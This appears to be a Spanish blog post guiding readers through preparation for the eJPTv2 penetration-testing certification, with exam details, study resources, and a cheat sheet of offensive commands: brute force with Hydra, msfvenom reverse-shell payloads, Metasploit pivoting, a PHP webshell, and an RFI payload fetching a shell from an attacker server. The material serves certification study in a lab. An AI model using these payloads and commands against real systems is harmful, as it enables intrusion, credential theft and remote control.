
La eJPTv2 (eLearnSecurity Junior Penetration Tester v2) es una certificación de nivel principiante en pruebas de penetración. Está diseñada para evaluar habilidades prácticas en seguridad ofensiva y es ideal para quienes desean iniciarse en el campo del pentesting.
En esta guía te voy a contar como puedes aprobar el examen eJPTv2 en menos de un mes estudiando un par de horas al día .
Y no, no es el típico texto de «rejuvenece 20 años en una semana con esta crema echa de sal del himalaya y piel de tapir».
Esto te lo digo porque ese fue mi caso, y gracias a esta guía puede ser el tuyo, incluso podrás mejorar mi estadística, ya que yo a la hora de estudiar este examen no me encontré con una guía como la que estas leyendo, en Castellano y contando todo acerca del examen (hasta mis propias cagadas).
Sin mas dilación vamos a lo importante
Detalles y Estructura del Examen
📚 Conocimientos que abarca:
✅ Metodologías de Ethical Hacking y pentesting
✅ Fundamentos de redes y seguridad informática
✅ Escaneo y enumeración de redes y sistemas
✅ Explotación de vulnerabilidades en servicios comunes
✅ Ataques web y explotación de fallos en aplicaciones web
✅ Explotación de contraseñas y autenticación
✅ Movimientos laterales y escalada de privilegios
✅ Uso de herramientas como Nmap, Metasploit, Burp Suite, Hydra, SQLMap, etc.
🔹 Estructura del examen
📌 Tipo de examen: 100% práctico en un laboratorio virtual
📌 Duración: 48 horas para completar el pentest
📌 Entorno: Laboratorio aislado con múltiples máquinas vulnerables (en mi caso 4 Windows y 2 Linux)
📌 Número de preguntas: El examen consta de 35 preguntas de opción múltiple.
📌 Formato: Se deben encontrar credenciales, explotar vulnerabilidades , pivotar entre redes y demostrar acceso a sistemas
📌 Aprobación: Se requiere obtener al menos un 70% de respuestas correctas para aprobar el examen
Recursos esenciales para la preparación
🚶♂️➡️ Rutas de Aprendizaje Recomendadas para el eJPTv2
- Junior Penetration Tester de TryHackMe: Para mí, esta ruta debería ser obligatoria antes de presentar el examen. Enseña desde lo más básico, como los tipos de redes y direccionamiento IP, hasta el uso avanzado de Burp Suite y técnicas de pivoting. Es necesario tener la suscripción Pro, que, si no recuerdo mal, me costó 13 euros.
- Curso de eJPTv2 del Pingüino de Mario: Este curso es altamente recomendable antes de presentar el examen. Mario es un excelente instructor y explica desde conceptos básicos hasta avanzados, cubriendo todo lo necesario para el examen. También enseña algunos trucos útiles y lo mejor es que se actualiza constantemente. 100% recomendado.
- INE eJPTv2 Training Path: Esta es la ruta oficial que marca el examen, por lo que es obvio que es recomendable seguirla. Sin embargo, yo no la toqué mucho.
📎 Máquinas y Laboratorios Recomendados
Aparte de las máquinas incluidas en la ruta de Junior Penetration Tester de TryHackMe, te recomiendo practicar con las siguientes y asegurarte de entender cada una de ellas:
Herramientas y Comandos Clave en Pentesting
🔺Hydra
Fuerza bruta en FTP:
hydra -l admin -P passwords.txt ftp://192.168.1.100
Fuerza bruta en SSH:
hydra -l admin -P passwords.txt ssh://192.168.1.100
Fuerza bruta en IMAP:
hydra -l user@example.com -P /usr/share/wordlists/rockyou.txt imap://192.168.1.100
Mi tutorial de Hydra ( clica aquí )
🔺Metasploit
Iniciar msfconsole:
msfconsole
Buscar un exploit o vulnerabilidad:
search «ms08_067«
Seleccionar el exploit deseado:
use exploit/windows/smb/ms08_067_netapi
Mostrar las opciones del exploit:
show options
Configurar los parámetros del objetivo:
set RHOSTS 192.168.1.100
set RPORT 445
Ejecutar el exploit:
exploit o run
Consejo: Usa info seguido del exploit para ver detalles adicionales y posibles payloads recomendados.
🔺msfvenom
Generar payload para Windows (archivo ejecutable):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe
Generar payload para Linux (archivo ELF):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf
🔺John the Ripper
Romper contraseñas con un diccionario:
john –wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt
Ver el progreso del ataque:
john –status
🔺Gobuster
Brute force de directorios en un sitio web:
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
🔺wfuzz
Fuzzing de directorios:
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –hc 404 http://target/FUZZ
🔺sqlmap
Detectar y explotar inyección SQL en un parámetro:
sqlmap -u «http://target.com/page?id=1» –risk=3 –level=5 –batch
Extraer bases de datos disponibles:
sqlmap -u «http://target.com/page?id=1» –dbs
Mi tutorial (clica aqui)
🔺Burp Suite
- Repeater:Para usar Repeater, primero intercepta una petición con Burp Proxy. Luego, haz clic derecho sobre la petición interceptada y selecciona «Send to Repeater». En la pestaña de Repeater, podrás modificar la petición (por ejemplo, cambiar parámetros, cabeceras o el cuerpo) y, al pulsar «Go», enviar la petición modificada al servidor. Esto te permite probar manualmente diferentes entradas y analizar las respuestas para identificar posibles vulnerabilidades.
- Intruder:Captura una petición en Burp Proxy y, mediante clic derecho, envíala a «Intruder». En Intruder, la pestaña «Positions» te mostrará automáticamente las partes de la petición marcadas para la inyección de payloads. Revisa y ajusta estas posiciones si es necesario. A continuación, en la pestaña «Payloads», carga o selecciona la lista de payloads que desees utilizar para el ataque (por ejemplo, para detectar inyección SQL o XSS). Una vez configurado, inicia el ataque pulsando «Start Attack» y analiza los resultados para encontrar patrones o respuestas que indiquen una vulnerabilidad.
🔺smbclient
Listar recursos compartidos en un host:
smbclient -L //192.168.1.100 -U username
Acceder a un recurso compartido:
smbclient //192.168.1.100/share -U username
🔺evil-winrm
Conectar a un host Windows usando WinRM:
evil-winrm -i 192.168.1.100 -u Administrator -p Password123
Ejecutar comandos remotos: Una vez conectado, puedes usar la shell interactiva para ejecutar comandos de PowerShell en el host comprometido.
🔺CrackMapExec (o NetExec)
Enumerar y validar credenciales en SMB:
crackmapexec smb 192.168.1.100 -u username -p password
Este comando se utiliza para verificar credenciales en un host Windows, explorando recursos compartidos y enumerando información relevante del sistema.
Ejecutar un comando remoto en múltiples hosts:
crackmapexec smb 192.168.1.0/24 -u username -p password -x «ipconfig /all»
Permite ejecutar el comando especificado en cada host del rango de IPs, facilitando la recopilación de información de red.
🔺Enum4linux
Enumerar información de un host Windows a través de SMB:
enum4linux -a 192.168.1.100
Este comando recopila información detallada del sistema objetivo, incluyendo usuarios, grupos, recursos compartidos y políticas de seguridad.
🔺Comandos útiles
Listar privilegios sudo:
sudo -L
Muestra los permisos sudo asignados al usuario actual.
Buscar archivos SUID:
find / -perm -4000 2>/dev/null
Identifica archivos con el bit SUID activo, útiles para la escalada de privilegios.
Obtener una TTY interactiva:
script /dev/null -c bash
Lanza una shell interactiva para mejorar la manipulación de la sesión.
Levantar servidor HTTP con Python 3:
python3 -m http.server 80
Inicia un servidor web simple en el puerto 80 para transferencias de archivos.
Visualizar el contenido de un archivo en Windows:
type archivo.txt
Muestra el contenido de un archivo en entornos Windows.
Iniciar un listener con Netcat:
nc -lvnp 4444
Abre un puerto en escucha para recibir conexiones reversas.
Descargar un archivo con wget:
wget http://target.com/tool.sh
Descarga un archivo desde una URL.
Descargar un archivo con curl:
curl -O http://target.com/tool.sh
Otra forma de transferir archivos desde una URL.
Listar archivos detalladamente:
ls -la
Muestra todos los archivos y directorios con permisos, tamaño y otros detalles.
Visualizar el contenido de un archivo en Linux:
cat /etc/passwd
Permite ver el contenido de archivos importantes, como la lista de usuarios.
Buscar un patrón en un archivo:
grep «pattern» file
Filtra y muestra líneas que contienen un patrón específico.
Cambiar permisos de un archivo:
chmod +x file
Concede permisos de ejecución a un archivo.
Mostrar información del usuario:
id
Detalla el UID, GID y grupos a los que pertenece el usuario.
Mostrar el nombre del usuario actual:
whoami
Indica con qué usuario se está ejecutando la sesión.
Visualizar la configuración de interfaces de red:
ip a
Lista la configuración y el estado de todas las interfaces de red.
Ver conexiones de red activas:
netstat -anp
Muestra las conexiones de red y los procesos asociados.
Revisar el historial de comandos:
history
Permite ver los comandos ejecutados recientemente en la termina
Probar conectividad con ping:
ping -c 4 8.8.8.8
Envía 4 paquetes ICMP a 8.8.8.8 para verificar la conexión a Internet.
Escanear la red local con arp-scan:
sudo arp-scan -i eth0 –localnet
Detecta dispositivos activos en la red local a través de la interfaz especificada.
Buscar procesos específicos:
ps aux | grep process_name
Filtra y muestra información sobre procesos en ejecución.
Obtener información del sistema:
uname -a
Muestra detalles del kernel y del sistema operativo.
Pivoting en entornos Windows con Metasploit
1. Acceso inicial y reconocimiento de la red
Antes de comenzar con el pivoting, debemos:
✅ Comprometer una máquina Windows y obtener privilegios de administrador.
✅ Identificar redes internas usando ipconfig (Windows)
✅ Guardar la sesión en segundo plano con CTRL + Z.
2. Descubriendo máquinas en la red interna
Para identificar equipos en la red interna, utilizaremos el módulo windows/gather/arp_scanner:
Ejemplo de uso:
post/windows/gather/arp_scanner
set SESSION <id_de_sesion>
set RHOSTS <IP de la red interna> /24
run
📌 Ejemplo de salida:
[*] ARP Scanning 192.168.0.50/24
[+] IP: 192.168.0.2 MAC 02:2b:aa:3e:09:05 (UNKNOWN)
[+] IP: 192.168.0.50 MAC 02:6b:20:ae:89:8f (UNKNOWN)
[+] IP: 192.168.0.57 MAC 02:de:3b:8a:f2:85 (UNKNOWN)
[+] IP: 192.168.0.61 MAC 02:fa:f0:7a:1a:67 (UNKNOWN)
📢 Nota: Las primeras y últimas IPs suelen ser del gateway y broadcast, por lo que no son útiles.
3. Configuración de rutas con Autoroute
Una vez identificadas las máquinas internas, es necesario enrutar el tráfico a través de la máquina comprometida usando el módulo multi/manage/autoroute.
Ejemplo de uso:
use post/multi/manage/autoroute
set SESSION <id_de_sesion>
set SUBNET <subred_interna_detectada>/24
run
✅ Esto permitirá que todo el tráfico destinado a esa subred pase a través de la máquina comprometida.
4. Escaneo de puertos en la red interna
Para descubrir servicios en los equipos internos, utilizamos el módulo scanner/portscan/tcp:
Ejemplo de uso:
use auxiliary/scanner/portscan/tcp
set RHOSTS <ip objetivo>
set PORTS 1-65535
set THREADS 10
run
📌 Consejo: Si quieres que el escaneo sea más rápido, puedes reducir el rango de puertos a los más comunes (ej. set PORTS 21,22,80,443,445,3389).
5. Acceso a servicios internos con PortProxy
Para acceder a los puertos internos descubiertos, podemos utilizar windows/manage/portproxy para redirigir el tráfico a nuestra máquina.
Ejemplo de uso:
use post/windows/manage/portproxy
set SESSION <id_de_sesion>
set CONNECTADDR <IP de la maquina victima>
set CONNECTPORT <Puerto de la maquina victima>
set LOCALADDR 0.0.0.0
set LOCALPORT <Puerto local>
run
✅ Ahora podemos acceder a ese servicio interno desde nuestro navegador o cualquier herramienta local apuntando a localhost:<puerto_local>.
Pivoting en entornos Linux con Metasploit
1. Acceso inicial y configuración del enrutamiento
Antes de comenzar el pivoting, debemos:
✅ Obtener acceso a la máquina intermedia con privilegios elevados.
✅ Identificar redes internas usando ip a o ifconfig.
✅ Poner la sesión en segundo plano con CTRL + Z.
Configurar rutas en Metasploit
Usaremos el módulo multi/manage/autoroute para enrutar el tráfico hacia la red interna:
use post/multi/manage/autoroute
set SESSION <id_de_sesion>
set SUBNET <subred_detectada>/24
run
✅ Esto permitirá que todo el tráfico hacia esa subred pase por la máquina comprometida.
2. Descubrimiento de hosts en la red interna
En Linux, podemos usar un simple script en Bash para descubrir dispositivos activos dentro de la red interna.
Crear un script de escaneo de red
1️⃣ Abrimos un archivo con nano scan.sh y pegamos el siguiente código:
#!/bin/bash
for i in {1..255}; do
timeout 1 bash -c «ping -c 1 10.10.10.$i» >/dev/null
if [ $? -eq 0 ]; then
echo «El host 10.10.10.$i está activo»
fi
done
2️⃣ Guardamos y damos permisos de ejecución:
chmod +x scan.sh
3️⃣ Levantamos un servidor HTTP en nuestra máquina atacante para transferirlo:
python3 -m http.server 80
4️⃣ En la máquina víctima, descargamos y ejecutamos el script:
wget http://<ip atacante>/scan.sh
chmod +x scan.sh
./scan.sh
📢 Nota: Esto nos dará una lista de IPs activas dentro de la subred.
3. Escaneo de puertos en la red interna
Con las IPs identificadas, ahora realizamos un escaneo de puertos con Metasploit:
use auxiliary/scanner/portscan/tcp
set RHOSTS <IP obejtivo>
set PORTS 1-65535
set THREADS 10
run
📌 Consejo: Para hacer el escaneo más eficiente, podemos reducir el rango de puertos (set PORTS 22,80,443,3306).
4. Accediendo a servicios internos con Port Forwarding
Para interactuar con servicios internos encontrados, usamos port forwarding en Metasploit.
1️⃣ Entramos en la sesión de Meterpreter:
sessions -i <id_de_sesion>
2️⃣ Redirigimos un puerto interno hacia nuestra máquina atacante:
portfwd add -l <puerto_local> -p <puerto_victima> -r <ip_victima>
📌 Ejemplo: Si queremos acceder al puerto 22 de la víctima desde nuestra máquina en el puerto 2222:
portfwd add -l 2222 -p 22 -r 10.10.10.5
3️⃣ Nos conectamos al puerto 22 con SSH:
ssh usuario@127.0.0.1 -p 2222
✅ Ahora tenemos acceso SSH a la máquina interna a través del túnel creado.
Posibles vectores de ataque en el examen
Durante el examen, te encontrarás con entornos vulnerables en los que deberás aplicar diferentes técnicas de explotación, aunque ya muchas de estas técnicas te las he explicado arriba no esta demás repasarlas. A continuación, se presentan algunos de los escenarios más comunes y cómo abordarlos:
🔺1. WordPress y Drupal (CMS Vulnerables)
Usa wpscan para enumerar plugins y usuarios:
wpscan –url http://target.com -e u,p –api-token YOUR_TOKEN
Intenta credenciales por defecto o ataques de fuerza bruta con Hydra:
hydra -l admin -P rockyou.txt http-post-form «/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect»
Busca exploits específicos en Metasploit:
searchsploit wordpress
🔺2. Webshell y File Upload
Si encuentras un formulario de subida de archivos, intenta subir una shell PHP:
<?php system($_GET[‘cmd’]); ?>
Usa Burp Suite para modificar las extensiones permitidas.
Si la subida se bloquea, prueba cambiar la extensión a .php5, .phtml o .phar.
🔺3. Fuerza bruta SSH
Enumera usuarios con enum4linux si el sistema es Windows:
enum4linux -a 192.168.1.100
Si ya tienes un usuario, ataca con Hydra:
hydra -l user -P rockyou.txt ssh://192.168.1.100
🔺4. Servidores Tomcat
Usa Nmap para detectar la versión:
nmap -p 8080 –script=http-title 192.168.1.100
Intenta acceder con credenciales por defecto en /manager/html (admin:admin, tomcat:tomcat).
Si tienes acceso, sube un war shell con Metasploit:
use exploit/multi/http/tomcat_mgr_deploy set RHOSTS 192.168.1.100 set LHOST YOUR_IP set HttpUsername tomcat set HttpPassword tomcat exploit
🔺5. Inyección SQL
Usa sqlmap para automatizar ataques:
sqlmap -u «http://target.com/page.php?id=1» –dbs –batch
Si hay autenticación, roba hashes con:
sqlmap -u «http://target.com/login.php» –data=»user=admin&pass=123″ –dump
🔺6. Ataques DNS
Busca servidores DNS con:
nmap –script=dns-brute -p 53 192.168.1.100
Intenta una transferencia de zona:
dig axfr @192.168.1.100 domain.com
🔺7. LFI/RFI (Local/Remote File Inclusion)
Si una URL permite cargar archivos locales, prueba acceder a /etc/passwd:
http://target.com/index.php?file=../../../../etc/passwd
Si permite RFI, sube una shell desde tu servidor:
http://target.com/index.php?file=http://yourserver.com/shell.php
Trucos para facilitar el examen
Para que el examen sea más llevadero y lo completes en menos tiempo, te voy a dar algunos consejos clave:
✅ Organiza bien tus notas
Tener todo apuntado de forma clara, ordenada y esquematizada te permitirá encontrar rápidamente cualquier comando o procedimiento. Es mejor dedicar unas horas antes del examen a organizar bien tus notas que perder tiempo buscándolas en medio de la prueba. Un gran error que cometí fue no estructurar mis apuntes correctamente, lo que me hizo perder minutos valiosos.
✅ Toma notas durante el examen
A medida que encuentres información, anótala inmediatamente:
- Vulnerabilidades detectadas en cada máquina
- Usuarios encontrados
- Posibilidades de pivoting
- Servicios expuestos y posibles exploits
💡 Notion es una excelente herramienta para organizar todo de manera rápida y esquematizada.
✅ Usa draw.io para esquematizar la red
Durante el examen, dibujar un mapa visual de la red te ayudará a ver todo de un vistazo. Puedes:
- Arrastrar iconos de Windows o Linux según la máquina encontrada
- Anotar sus IPs y puertos abiertos
- Marcar con una «X» las máquinas ya explotadas
Este esquema te ahorrará tiempo y evitará que te pierdas en la fase de enumeración.
✅ Usa Google Chrome
Uno de mis mayores errores fue hacer el examen en otro navegador, donde no se podía copiar y pegar. Esto te hará perder mucho tiempo cuando necesites:
- Generar una reverse shell en revshells.com
- Copiar comandos de GTFOBins
- Extraer información de exploits en Metasploit
🔥 Bonus: Prepárate bien físicamente
- Duerme temprano la noche anterior 💤
- Levántate pronto y haz el examen con la mente fresca
- Si algo se te atasca, mantén la calma y sigue avanzando
Organización del tiempo
La organización del tiempo dependerá de la disponibilidad de cada uno. En mi caso, preparé el examen durante el verano mientras cursaba un máster en ciberseguridad. Durante 20 días, seguí esta rutina:
🕘 Mañanas:
📖 Estudiaba o realizaba trabajos del máster durante 4 horas.
☕ Descanso:
Es importante tomarse pausas para no saturarse y mantener la concentración.
🕒 Tardes:
💻 Practicaba en TryHackMe durante 4 horas, siguiendo la ruta de estudio que mencioné antes.
🎓 Estudiaba el curso del pingüino de Mario, veía algunos vídeos en YouTube y, sobre todo, practicaba sin parar.
📌 Recomendación general
Cada persona debe adaptar su ritmo según su disponibilidad, pero si tuviera que dar dos consejos clave, serían estos:
🔹 Practica y practica. La teoría es importante, pero lo que realmente marca la diferencia en este examen es la práctica constante.
🔹 Haz muchas máquinas. Cuantas más resuelvas, más preparado estarás.
Conclusiones.
Antes de presentarte al examen, hay dos factores clave que deberías considerar:
1️⃣ Confianza en ti mismo: Nadie te conoce mejor que tú. Evalúa tu seguridad y conocimientos, y no te apresures a hacer el examen si sientes que aún te falta preparación.
2️⃣ Facilidad para resolver máquinas: Si realmente quieres aprobar, las máquinas que he recomendado deberían resultarte tan fáciles como lanzar un simple ping. Si aún tienes dificultades con ellas, quizá sea mejor practicar un poco más antes de presentarte.
La clave del éxito en este examen es la práctica. Si dominas las máquinas y te sientes seguro, ¡adelante!